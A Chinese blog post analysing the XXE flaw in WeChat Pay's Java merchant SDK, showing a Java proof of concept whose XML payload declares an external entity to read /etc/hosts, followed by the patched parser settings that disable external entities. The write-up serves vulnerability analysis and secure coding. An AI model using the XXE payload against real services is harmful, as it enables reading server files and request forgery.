java XML解析初探 及微信支付sdk XXE漏洞浅析
月初在网上看到了标题吓人的微信0元支付漏洞,不过一直没时间去详细了解,现在国内外网站已经有了不少相关文章
例如:http://seclists.org/fulldisclosure/2018/Jul/3
实际上了解这个漏洞后发现实际上就是微信商户SDK的xxe漏洞,是一个低级的不安全开发导致的漏洞。
在解析xml的时候出于安全考虑通常需要禁用外部实体,否则易导致xxe漏洞,实现文件读取,服务器端请求伪造,甚至文件上传,命令执行等
问题出在微信支付sdk的WXPayUtil类的xmlToMap方法,方法如下,该方法接收一个String格式的strXML变量进行解析,却无任何限制
把问题方法复制出来将return直接输出进行测试
结果如下,读取到了hosts文件
简化的代码实际是
import org.w3c.dom.Element; import org.xml.sax.SAXException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; public class DocBuilderXXE { public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String strXML = "<!DOCTYPE foo [\n" + " <!ELEMENT foo ANY >\n" + " <!ENTITY xxe SYSTEM \"file:///etc/hosts\" >]>\n" + "<!--<test>&xxe;</test>-->\n" + "<a>\n" + " <test>&xxe;</test>\n" + "</a>"; DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); Element rootElement = doc.getDocumentElement(); System.out.println(rootElement.getTextContent()); } }
下载最新版的sdk发现新增了XPayXmlUtil类并在newDocumentBuilder方法实现了外部实体禁用
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);
标签: xxe
你是衣冠楚楚的人 而我只是一个打满补丁的猴子
-
小博客一个,没必要伤害她
热门文章
存档
标签
最新评论
- yz
想想你喜欢什么,想做什么,找好一个自己的... - 小屿
@Jahan:testfun1024#p... - Jahan
Hello dear Xia0 i a... - brave
@万:你的手机应该是anroid7.0以... - jhsy
新版的cookie机制应该又变了. 而且... - 小屿
@janto:无兴趣 - janto
新版的这些好像不起作用了,deviceI... - hunk
正在研究,可否发一份新源码?todz$1... - miffy
请问可以加个好友咨询下吗? - vegetableChicken
@Snkrs:我也遇到和你一样的问题了,...
发表评论: